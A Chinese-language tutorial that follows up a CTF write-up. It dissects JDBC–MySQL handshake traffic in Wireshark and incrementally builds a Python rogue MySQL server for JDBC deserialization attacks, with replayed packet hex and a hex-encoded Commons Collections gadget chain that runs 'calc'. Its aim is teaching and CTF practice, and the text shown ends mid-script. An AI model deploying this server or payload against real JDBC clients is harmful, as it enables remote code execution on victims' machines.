这一篇文章主要是对上一篇 从一道题来看JDBC反序列化([羊城杯 2020]A Piece Of Java) 的补充(强烈建议先看上一篇),因为在那篇文章我们只分析和复现了JDBC反序列化漏洞的利用,而为了摆脱脚本小子的debuff,我们肯定也需要自己来写构建恶意MYSQL服务的脚本

感谢其他师傅写的相关的文章,本篇文章也可以当做是对其他师傅对于JDBC反序列化漏洞相关文章的一些补充,作者会尽可能详细地写出坑点和非大牛的师傅不太理解,却是大牛师傅们跳过的一些细节

JDBC(Java Database Connectivity)是Java语言中用于连接和操作数据库的一种标准API。它允许Java程序与多种关系型数据库建立连接,实现数据的查询、插入、更新和删除等操作。

先回顾一下JDBC和MYSQL的通信过程:

  1. 加载驱动:首先,需要加载JDBC驱动程序。在Java中,可以使用Class.forName()方法加载驱动类。对于MySQL,驱动类通常是com.mysql.cj.jdbc.Driver

    1
    Class.forName("com.mysql.cj.jdbc.Driver");
  2. 创建连接:接下来,需要创建一个与MySQL数据库服务器的连接。可以使用DriverManager.getConnection()方法创建一个连接。你需要提供数据库的URL、用户名和密码。URL通常包含以下信息:

    ​ 协议:对于MySQL,协议是jdbc:mysql

    ​ 主机名:数据库服务器的地址,如localhost或具体的IP地址

    ​ 端口号:MySQL服务器监听的端口,默认是3306

    ​ 数据库名:要连接的数据库名称

    1
    2
    3
    4
    String url = "jdbc:mysql://localhost:3306/testdb";
    String user = "username";
    String password = "password";
    Connection connection = DriverManager.getConnection(url, user, password);
  3. 创建语句:连接成功后,可以创建一个StatementPreparedStatement对象来执行SQL语句。Statement对象用于执行静态SQL语句,而PreparedStatement对象用于执行预编译的SQL语句,提高性能。

    1
    Statement statement = connection.createStatement();
  4. 执行查询:使用Statement对象的executeQuery()方法执行查询操作,如SELECT语句。这将返回一个ResultSet对象,表示查询结果。

    1
    ResultSet resultSet = statement.executeQuery("SELECT * FROM tablename");

5.处理结果:通过ResultSet对象,可以获取查询结果。ResultSet对象提供了一系列方法,如 next()getInt()getString()等,用于处理查询结果。

1
2
3
4
5
while (resultSet.next()) {
int id = resultSet.getInt("id");
String name = resultSet.getString("name");
System.out.println("ID: " + id + ", Name: " + name);
}

6.关闭资源:在完成操作后,需要关闭ResultSetStatementConnection对象,以释放资源。

1
2
3
resultSet.close();
statement.close();
connection.close();

我们在这篇文章中只关注加载驱动和创建连接的过程

环境搭建:

本地创建一个JDBC客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class JDBC {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.cj.jdbc.Driver");
String jdbc_url = "jdbc:mysql://localhost:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
"&autoDeserialize=true&useSSL=false" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&";
Connection con = DriverManager.getConnection(jdbc_url, "root", "root");

}
}

开启mysql服务,然后用JDBC客户端连接,别忘了还要打开Wireshark(建议使用最新版,否则可能无法识别mysql协议流量),因为我们的mysql服务和JDBC都在本机中,所以捕获选择Adapter for loopback traffic capture,这个过滤器专门捕获localhost和127.0.0.1这样的环回流量,其他网口是捕获不到的

等待JDBC连接成功后,返回的结果如下:

这些信息是加了queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor拦截器之后才会出现的,

这是一个包含各种状态数据的信息对象,这些数据在某些场景下可能有用,例如监控和诊断数据库性能。下面是这些状态数据的简要解释:

  • Bytes_received:服务器收到的字节数
  • Queries:执行的查询数量
  • Com_show_status:执行的SHOW STATUS命令的数量
  • Questions:服务器收到的请求数量
  • Com_set_option:执行的SET OPTION命令的数量
  • Table_locks_immediate:立即获得的表锁的数量
  • Bytes_sent:服务器发送的字节数

其中,SHOW STATUS语句是ServerStatusDiffInterceptor拦截器的preProcess方法在与mysql建立连接时自动执行的语句(这里不太清楚的可以看开头提起的上一篇文章)

Com_set_option:执行的SET OPTION命令的数量

一些关于配置相关的参数都称之为SET OPTION命令,这里有一条我们设置了时区serverTimezone=Asia/Shanghai,必须要指定时区,否则数据库和系统时区不一样会报错(高版本mysql默认时区是美国,而中国和美国有8小时的时差)

这里有大坑,注意!

JDBC的url中一定要加一个参数

1
useSSL=false

我们先来看不加这一个参数的wireshark流量:

是不是感觉少了点什么?

如果我们加上这个参数,wireshark的流量则是:

作者在这里简单解释一下:

Mysql在默认的情况下,为保证安全,与外界的通信会默认使用SSL/TLS传输协议来代替MySQL原本的通信协议,所以如果不加useSSL=false,那么除了Greeting包,其他所有的数据包都会通过SSL/TLS协议(Wireshark中显示的是TLS)来进行加密传递,因为Greeting包只起到一个打招呼的作用,包中没有敏感信息,所以mysql并没有对其也使用SSL(毕竟加密传输也会降低效率),Login包在这里是一个发起建立连接的不完整的请求包,作者猜测其中的user,db,password等信息已经单独使用TLS协议来传输了

师傅们可以用tcp.port==3306来捕获mysql的所有流量,可以发现

  • 没有使用useSSL=false时,wireshark的捕获器包含了TLS,mysql,tcp协议的流量
  • 当使用了useSSL=false时,wireshark的捕获器只包含了mysql,tcp协议的流量

由此可以佐证作者的猜想

因为这篇文章的目的是学习jdbc和mysql的通信过程从而自己搭建一个恶意mysql服务,所以我们需要获取完整且明确的通信流量,因此,我们需要使用useSSL=false

流量分析

建议大家先捕获JDBC与本地官方的mysql流量,方便观察数据包结构

Info:Server Greeting proto=10 version=8.0.12

当JDBC客户端与MySQL服务器三次握手建立TCP连接后(解释了为什么明明是JDBC向mysql发起请求但却是mysql给jdbc率先发消息),MySQL服务器会发送一个服务器问候消息(Server Greeting)给客户端。这个消息包含了服务器的相关信息

其中proto=10代表协议版本号,version=8.0.12代表服务器的MySQL版本号

消息中具体的内容新版wireshark已经帮我们整理出来了,给官方赞一个

先来分析下mysql协议的整体结构

mysql协议包本质上还是TCP协议,只不过是TCP的负载部分(payload)中存储了mysql通信数据,这一点是作者通过下面这张图分析出来的,在字节4a 00 00 00之前都是TCP协议头的内容,这一点也可以通过点击左边Tcp payload后,wireshark给我们自动选定了Mysql协议的字节内容看出

观察右边的内容,greeting包中主要内容是:使用的认证插件:mysql_native_password,用来加密pwd的盐值salt

unused:00000000000000000000的部分是填充位(padding)。这些填充位是为了保持数据包结构的一致性以及可能的对齐目的而设置的。没有实际意义

其他细节部分师傅们感兴趣的话可以自己细看,这里就不赘述了

由于我们是用

1
socket.socket(socket.AF_INET, socket.SOCK_STREAM)

来建立与JDBC的通信的,而socket会自动帮我们构建好TCP头的内容(source ip,port,校验等),所以我们只需要发送伪造的mysql部分的流量数据就行

到目前为止我们可以编写一部分恶意mysql的python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#先导入所有需要的库,后面就不import了
import socket
import binascii
import os

#设定greeting包的伪造数据
greeting_data='4a0000000a382e302e313200170000000a170d656e32064600ffffc00200ffc31500000000000000000000605a28686d63690805351259006d7973716c5f6e61746976655f70617373776f726400'

def send_data(conn,data):
print("向目标JDBC发送数据 : {}".format(data))
conn.send(binascii.a2b_hex(data))

#程序入口
if __name__ == '__main__':
#设置端口
host="0.0.0.0"
port=3309
#开启一个socket接受JDBC的连接
sql_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#一旦断开连接就立马重置端口,这样不用每次等待一段时间才能重新使用该端口
sql_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#绑定ip
sql_server.bind((host, port))
#将socket设置为被动监听模式,并且一次只能接受一个连接
sql_server.listen(1)
print(f"恶意mysql已在{host}:{port}开启")
while True:
//conn为连接句柄,addr为接受请求的源地址
conn, addr = sql_server.accept()
print("接受到来自{}:{}的连接请求".format(addr[0],addr[1]))
#发送greeting包
send_data(conn,greeting_data)
.....

Info:Login Request user=root db=test

这个包是当JDBC在收到greeting打招呼之后,发送的登录请求,里面有规定的字符集,user,pwd的哈希值,连接的数据库等信息

Info: Response OK

如果认证成功,mysql会发送一个Response Code:0x00表示认证成功

还是一样的,把Mysql的部分copy并且更新我们的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#先导入所有需要的库,后面就不import了
import socket
import binascii
import os

#greeting包的伪造数据
greeting_data='4a0000000a382e302e313200170000000a170d656e32064600ffffc00200ffc31500000000000000000000605a28686d63690805351259006d7973716c5f6e61746976655f70617373776f726400'

#Response Ok包的伪造数据
response_ok_data='0700000200000002000000'

def send_data(conn,data):
print("向目标JDBC发送数据 : {}".format(data))
conn.send(binascii.a2b_hex(data))

def receive_data(conn):
try:
data = conn.recv(1024)
except ConnectionResetError:
raise ConnectionResetError()
return str(data).lower()
#程序入口
if __name__ == '__main__':
#设置端口
host="0.0.0.0"
port=3309
#开启一个socket接受JDBC的连接
sql_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#绑定ip
sql_server.bind((host, port))
#将socket设置为被动监听模式,并且一次只能接受一个连接
sql_server.listen(1)
print(f"恶意mysql已在{host}:{port}开启")
while True:
#conn为连接句柄,addr为接受请求的源地址
conn, addr = sql_server.accept()
print("接受到来自{}:{}的连接请求".format(addr[0],addr[1]))
#发送greeting包
send_data(conn,greeting_data)
while True:
try:
data=receive_data(conn)
except ConnectionResetError:
print("over")
break
print("接受到的data:",data)
#收到Login包
if "password" in data:
send_data(conn,response_ok_data)
.....

Info:Request Query

/* mysql-connector-java-8.0.13 (Revision: 66459e9d39c8fd09767992bc592acd2053279be6) */SELECT @@session.auto_increment_increment AS auto_increment_increment, @@character_set_client AS character_set_client, @@character_set_connection AS character_set_connection, @@character_set_results AS character_set_results, @@character_set_server AS character_set_server, @@collation_server AS collation_server, @@collation_connection AS collation_connection, @@init_connect AS init_connect, @@interactive_timeout AS interactive_timeout, @@license AS license, @@lower_case_table_names AS lower_case_table_names, @@max_allowed_packet AS max_allowed_packet, @@net_write_timeout AS net_write_timeout, @@sql_mode AS sql_mode, @@system_time_zone AS system_time_zone, @@time_zone AS time_zone, @@transaction_isolation AS transaction_isolation, @@wait_timeout AS wait_timeout

这个Request Query数据包是JDBC发送给MySQL服务器的查询请求,其中包含了一条极长的SQL查询。这条查询主要用于获取MySQL会话设置的一些参数值。这些参数值对于JDBC与数据库服务器之间的连接和通信非常重要,因为它们可以确保客户端与服务器之间的数据交互和处理行为一致。比如字符集,最大数据包大小等

我们可以通过捕捉一些内容特征来确定对应的需要回复的数据内容,比如session.auto_increment_increment

Info:Response TABULAR Response OK

以表格形式回复上个SQL查询的结果,需要细说

首先浏览一下这个mysql包中有哪些部分

  1. MySQL Protocol - column count: 这个数据包表示查询结果集中的列数。它告诉JDBC驱动程序有多少个字段将被返回。这是结果集元数据的第一部分。
  2. MySQL Protocol - field packet: 这个数据包包含了每个字段的详细信息,例如字段名、数据类型等。这些数据包会为结果集中的每一列发送一个。这些数据包构成了结果集元数据的其余部分。
  3. MySQL Protocol - row packet: 这个数据包包含了查询结果集中的实际数据。每个row packet包含了一个结果集中的一行数据。服务器将按顺序发送查询结果集中的所有行。这些数据包包含了实际查询结果的数据。
  4. MySQL Protocol - response OK: 这个数据包表示查询结果集已经全部发送完毕。当JDBC驱动程序收到这个数据包时,它会知道已经接收到了所有的查询结果数据。

通过这些数据包,JDBC驱动程序可以从MySQL服务器接收查询结果数据。驱动程序首先解析列数和字段信息,然后解析行数据,最后收到response OK数据包,表示结果集传输完成。这些数据包使得JDBC驱动程序能够将查询结果数据组织成一个可供应用程序使用的结果集。

column count中的Number of fields为18 , 说明mysql回复的结果集有18列,相应的接下来就有18个列的元数据包,我们所说的元数据也就是关于每一的信息(field packet)

重点关注MySQL Protocol - field packet:

  1. Catalog: 目录名称,通常是”def”,表示默认的目录。
  2. Database: 数据库名称,即查询结果集所在的数据库。
  3. Table: 表名,即查询结果集对应的表。
  4. Original table: 原始表名,如果查询结果集对应的表是别名,则该字段包含实际的表名。
  5. Name: 字段名,即查询结果集中列的名称。
  6. Original name: 原始字段名,如果查询结果集中的字段是别名,则该字段包含实际的字段名。
  7. Charset number: 字符集编号,表示该字段数据的字符集。这对于处理文本数据类型的字段(如VARCHAR、TEXT等)非常重要。
  8. Length: 字段长度,表示该字段的最大长度。对于数值类型,这表示最大显示宽度。
  9. Type: 字段类型,表示该字段的数据类型(如INT、VARCHAR、DATE等)。
  10. Flags: 标志位,用于表示字段的一些特性,如是否为主键、是否允许NULL值等。
  11. Decimals: 小数点后的位数,仅适用于浮点数和小数类型的字段。对于整数类型的字段,该值为0。

Field packet中的这些信息有助于JDBC驱动程序了解查询结果集中每个字段的属性,从而可以正确地处理和转换结果集中的数据。

这里有一点是需要我们在进行利用JDBC反序列化漏洞时特别注意的,就是Type: 字段类型需要构造为Blob

在field packet中,BLOB类型的值为0xFC、0xFD、0xFE或0xFF,具体取决于BLOB的大小(TINYBLOB、BLOB、MEDIUMBLOB或LONGBLOB

具体原因看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.mysql.cj.jdbc.result;
//ResultSetImpl.class
public Object getObject(int columnIndex) throws SQLException {
try {
this.checkRowPos();
this.checkColumnBounds(columnIndex);
int columnIndexMinusOne = columnIndex - 1;
if (this.thisRow.getNull(columnIndexMinusOne)) {
return null;
} else {
Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
if (!field.isBinary() && !field.isBlob()) {
return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex);
} else {
byte[] data = this.getBytes(columnIndex);
if (! (Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
return data;
} else {
Object obj = data;
if (data != null && data.length >= 2) {
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}

try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close()

但其实,只有在发送SHOW SESSION STATUS的查询结果时才需要改类型,因为我们的反序列化点在SHOW SESSION STATUS的结果集中

所以,这个语句的回复包我们照样copy就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

import socket
import binascii
import os

#greeting包的伪造数据
greeting_data='4a0000000a382e302e313200170000000a170d656e32064600ffffc00200ffc31500000000000000000000605a28686d63690805351259006d7973716c5f6e61746976655f70617373776f726400'

#Response Ok包的伪造数据
response_ok_data='0700000200000002000000'

def send_data(conn,data):
print("向目标JDBC发送数据 : {}".format(data))
conn.send(binascii.a2b_hex(data))

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
#程序入口
if __name__ == '__main__':
#设置端口
host="0.0.0.0"
port=3309
#开启一个socket接受JDBC的连接
sql_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#绑定ip
sql_server.bind((host, port))
#将socket设置为被动监听模式,并且一次只能接受一个连接
sql_server.listen(1)
print(f"恶意mysql已在{host}:{port}开启")
while True:
#conn为连接句柄,addr为接受请求的源地址
conn, addr = sql_server.accept()
print("接受到来自{}:{}的连接请求".format(addr[0],addr[1]))
#发送greeting包
send_data(conn,greeting_data)
while True:
#接受Login Request包后发送Response OK包
receive_data(conn)
send_data(conn,response_ok_data)
#接收后续数据包
data=receive_data(conn)

if "session.auto_increment_increment" in data:
reply_data="01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"
......

Info: Request Query

紧接着JDBC连续发送几条SET命令语句,我们按着正常的ResponseOK回复就行

更新代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import socket
import binascii
import os

#greeting包的伪造数据
greeting_data='4a0000000a382e302e313200170000000a170d656e32064600ffffc00200ffc31500000000000000000000605a28686d63690805351259006d7973716c5f6e61746976655f70617373776f726400'

#Response Ok包的伪造数据
response_ok_data='0700000200000002000000'

def get_payload_content():
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

def send_data(conn,data):
print("向目标JDBC发送数据 : {}".format(data))
conn.send(binascii.a2b_hex(data))

def receive_data(conn):
try:
data = conn.recv(1024)
except ConnectionResetError:
raise ConnectionResetError("\n通信结束\n")
return str(data).lower()
#程序入口
if __name__ == '__main__':
#设置端口
host="0.0.0.0"
port=3309
#开启一个socket接受JDBC的连接
sql_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#一旦断开连接就立马重置端口,这样不用每次等待一段时间才能重新使用该端口
sql_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#绑定ip
sql_server.bind((host, port))
#将socket设置为被动监听模式,并且一次只能接受一个连接
sql_server.listen(1)
print(f"恶意mysql已在{host}:{port}开启")
while True:
#conn为连接句柄,addr为接受请求的源地址
conn, addr = sql_server.accept()
print("接受到来自{}:{}的连接请求".format(addr[0],addr[1]))
#发送greeting包
send_data(conn,greeting_data)
while True:
try:
data=receive_data(conn)
except ConnectionResetError:
print("over")
break
print("接受到的data:",data)
#收到Login包
if "password" in data:
send_data(conn,response_ok_data)
#收到Request Query包,其中包含session.auto_increment_increment
elif "session.auto_increment_increment" in data:
reply_data="01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"
send_data(conn,reply_data)
#收到Request Query包,其中包含SET
elif "set" in data:
send_data(conn,response_ok_data)
......

Info: Request Query(SELECT @@session.autocommit)

SELECT @@session.autocommit 是一个查询语句,用于获取当前MySQL会话中的autocommit设置。autocommit是一个设置,决定在执行MySQL语句时是否自动提交事务。

当autocommit设置为1(true)时,每个单独的语句都会在执行后立即提交。这意味着更改将立即生效,无需使用COMMIT语句来显式提交事务。

当autocommit设置为0(false)时,您需要在执行更改后显式地使用COMMIT语句来提交事务。这允许您在同一个事务中执行多个更改,只有在执行COMMIT语句后,所有更改才会生效。

JDBC客户端发送SELECT @@session.autocommit查询可能是为了检查当前MySQL会话的autocommit设置。这有助于客户端了解事务处理方式,以便根据需要调整其操作

Info:Response TABULAR Response OK (SELECT @@session.autocommit)

对于SELECT @@session.autocommit的查询结果很简单,无非就是0或者1(是或不是),这个在filed packet和row packet可以很直观的观察出,还是直接copy mysql protocol中的内容就ok

继续更新代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import socket
import binascii
import os

#greeting包的伪造数据
greeting_data='4a0000000a382e302e313200170000000a170d656e32064600ffffc00200ffc31500000000000000000000605a28686d63690805351259006d7973716c5f6e61746976655f70617373776f726400'

#Response Ok包的伪造数据
response_ok_data='0700000200000002000000'

def get_payload_content():
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

def send_data(conn,data):
print("向目标JDBC发送数据 : {}".format(data))
conn.send(binascii.a2b_hex(data))

def receive_data(conn):
try:
data = conn.recv(1024)
except ConnectionResetError:
raise ConnectionResetError("\n通信结束\n")
return str(data).lower()
#程序入口
if __name__ == '__main__':
#设置端口
host="0.0.0.0"
port=3309
#开启一个socket接受JDBC的连接
sql_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#一旦断开连接就立马重置端口,这样不用每次等待一段时间才能重新使用该端口
sql_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#绑定ip
sql_server.bind((host, port))
#将socket设置为被动监听模式,并且一次只能接受一个连接
sql_server.listen(1)
print(f"恶意mysql已在{host}:{port}开启")
while True:
#conn为连接句柄,addr为接受请求的源地址
conn, addr = sql_server.accept()
print("接受到来自{}:{}的连接请求".format(addr[0],addr[1]))
#发送greeting包
send_data(conn,greeting_data)
while True:
try:
data=receive_data(conn)
except ConnectionResetError:
print("over")
break
print("接受到的data:",data)
#收到Login包
if "password" in data:
send_data(conn,response_ok_data)
#收到Request Query包,其中包含session.auto_increment_increment
elif "session.auto_increment_increment" in data:
